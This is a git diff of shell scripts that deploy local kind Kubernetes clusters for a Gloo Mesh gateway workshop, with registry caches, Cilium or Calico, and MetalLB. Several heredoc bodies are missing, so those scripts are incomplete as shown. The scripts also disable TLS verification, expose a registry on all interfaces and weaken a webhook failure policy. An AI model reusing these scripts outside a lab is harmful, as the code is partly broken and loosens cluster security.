quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/scripts/md-to-bash.sh b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/gateway/2-5/airgap/standalone/scripts/register-domain.sh b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/standalone/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv 